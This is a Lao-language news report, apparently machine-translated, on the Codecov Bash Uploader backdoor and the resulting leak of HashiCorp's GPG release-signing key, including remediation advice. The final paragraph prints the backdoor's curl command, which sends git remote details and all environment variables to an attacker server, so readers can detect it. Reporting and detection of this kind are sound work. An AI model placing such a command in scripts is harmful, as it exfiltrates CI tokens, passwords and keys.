ການນໍາລະຫັດທີ່ເປັນອັນຕະລາຍເຂົ້າໄປໃນສະຄິບ Codecov ນໍາໄປສູ່ການປະນີປະນອມຂອງລະຫັດ HashiCorp PGP.

HashiCorp, ເປັນທີ່ຮູ້ຈັກສໍາລັບການພັດທະນາເຄື່ອງມືແຫຼ່ງເປີດ Vagrant, Packer, Nomad ແລະ Terraform, ປະກາດການຮົ່ວໄຫລຂອງກະແຈ GPG ສ່ວນຕົວທີ່ໃຊ້ເພື່ອສ້າງລາຍເຊັນດິຈິຕອນທີ່ກວດສອບການປ່ອຍອອກມາ. ຜູ້ໂຈມຕີທີ່ໄດ້ຮັບການເຂົ້າເຖິງກະແຈ GPG ອາດຈະເຮັດການປ່ຽນແປງທີ່ເຊື່ອງໄວ້ຕໍ່ກັບຜະລິດຕະພັນ HashiCorp ໂດຍການຢັ້ງຢືນພວກມັນດ້ວຍລາຍເຊັນດິຈິຕອນທີ່ຖືກຕ້ອງ. ໃນຂະນະດຽວກັນ, ບໍລິສັດໄດ້ລະບຸວ່າໃນລະຫວ່າງການກວດສອບ, ບໍ່ມີຮ່ອງຮອຍຂອງຄວາມພະຍາຍາມທີ່ຈະເຮັດການດັດແກ້ດັ່ງກ່າວໄດ້ຖືກກໍານົດ.

ໃນປັດຈຸບັນ, ກະແຈ GPG ທີ່ຖືກປະນີປະນອມໄດ້ຖືກຖອນຄືນແລະກະແຈໃຫມ່ໄດ້ຖືກນໍາສະເຫນີຢູ່ໃນສະຖານທີ່ຂອງມັນ. ບັນຫາທີ່ໄດ້ຮັບຜົນກະທົບພຽງແຕ່ການຢັ້ງຢືນໂດຍໃຊ້ໄຟລ໌ SHA256SUM ແລະ SHA256SUM.sig, ແລະບໍ່ມີຜົນກະທົບຕໍ່ການສ້າງລາຍເຊັນດິຈິຕອນສໍາລັບແພັກເກັດ Linux DEB ແລະ RPM ທີ່ສະຫນອງຜ່ານ releases.hashicorp.com, ເຊັ່ນດຽວກັນກັບກົນໄກການຢືນຢັນການປ່ອຍສໍາລັບ macOS ແລະ Windows (AuthentiCode) .

ການຮົ່ວໄຫຼເກີດຂຶ້ນຍ້ອນການໃຊ້ Codecov Bash Uploader (codecov-bash) script ໃນໂຄງສ້າງພື້ນຖານ, ຖືກອອກແບບມາເພື່ອດາວໂຫລດບົດລາຍງານການຄຸ້ມຄອງຈາກລະບົບການເຊື່ອມໂຍງຢ່າງຕໍ່ເນື່ອງ. ໃນລະຫວ່າງການໂຈມຕີຂອງບໍລິສັດ Codecov, backdoor ໄດ້ຖືກເຊື່ອງໄວ້ໃນສະຄິບທີ່ລະບຸ, ໂດຍຜ່ານລະຫັດຜ່ານແລະລະຫັດການເຂົ້າລະຫັດຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍຂອງຜູ້ໂຈມຕີ.

ເພື່ອ hack, ຜູ້ໂຈມຕີໄດ້ໃຊ້ປະໂຫຍດຈາກຄວາມຜິດພາດໃນຂະບວນການສ້າງຮູບພາບ Codecov Docker, ເຊິ່ງອະນຸຍາດໃຫ້ພວກເຂົາສະກັດຂໍ້ມູນການເຂົ້າເຖິງ GCS (Google Cloud Storage), ມີຄວາມຈໍາເປັນເພື່ອເຮັດການປ່ຽນແປງສະຄິບ Bash Uploader ທີ່ແຈກຢາຍຈາກ codecov.io. ເວັບໄຊທ໌. ການປ່ຽນແປງໄດ້ກັບຄືນມາໃນວັນທີ 31 ມັງກອນ, ຍັງບໍ່ຖືກກວດພົບເປັນເວລາສອງເດືອນແລະອະນຸຍາດໃຫ້ຜູ້ໂຈມຕີສາມາດສະກັດຂໍ້ມູນທີ່ເກັບໄວ້ໃນສະພາບແວດລ້ອມລະບົບການເຊື່ອມໂຍງຢ່າງຕໍ່ເນື່ອງຂອງລູກຄ້າ. ການນໍາໃຊ້ລະຫັດອັນຕະລາຍທີ່ເພີ່ມ, ຜູ້ໂຈມຕີສາມາດໄດ້ຮັບຂໍ້ມູນກ່ຽວກັບບ່ອນເກັບມ້ຽນ Git ທີ່ຖືກທົດສອບແລະຕົວແປສະພາບແວດລ້ອມທັງຫມົດ, ລວມທັງ tokens, ລະຫັດການເຂົ້າລະຫັດແລະລະຫັດຜ່ານທີ່ຖືກສົ່ງໄປຫາລະບົບປະສົມປະສານຢ່າງຕໍ່ເນື່ອງເພື່ອຈັດລະບຽບການເຂົ້າເຖິງລະຫັດແອັບພລິເຄຊັນ, ບ່ອນເກັບມ້ຽນແລະການບໍລິການເຊັ່ນ Amazon Web Services ແລະ GitHub.

ນອກເຫນືອຈາກການໂທໂດຍກົງ, script Codecov Bash Uploader ໄດ້ຖືກນໍາໃຊ້ເປັນສ່ວນຫນຶ່ງຂອງຜູ້ອັບໂຫລດອື່ນໆ, ເຊັ່ນ Codecov-action (Github), Codecov-circleci-orb ແລະ Codecov-bitrise-step, ເຊິ່ງຜູ້ໃຊ້ກໍ່ໄດ້ຮັບຜົນກະທົບຈາກບັນຫາ. ຜູ້ໃຊ້ທັງຫມົດຂອງ codecov-bash ແລະຜະລິດຕະພັນທີ່ກ່ຽວຂ້ອງໄດ້ຖືກແນະນໍາໃຫ້ກວດສອບໂຄງສ້າງພື້ນຖານຂອງເຂົາເຈົ້າ, ເຊັ່ນດຽວກັນກັບການປ່ຽນແປງລະຫັດຜ່ານແລະລະຫັດການເຂົ້າລະຫັດ. ທ່ານສາມາດກວດສອບການປະກົດຕົວຂອງ backdoor ໃນສະຄິບໂດຍການມີເສັ້ນ curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:// /upload/v2 || ຄວາມຈິງ

ແຫຼ່ງຂໍ້ມູນ: opennet.ru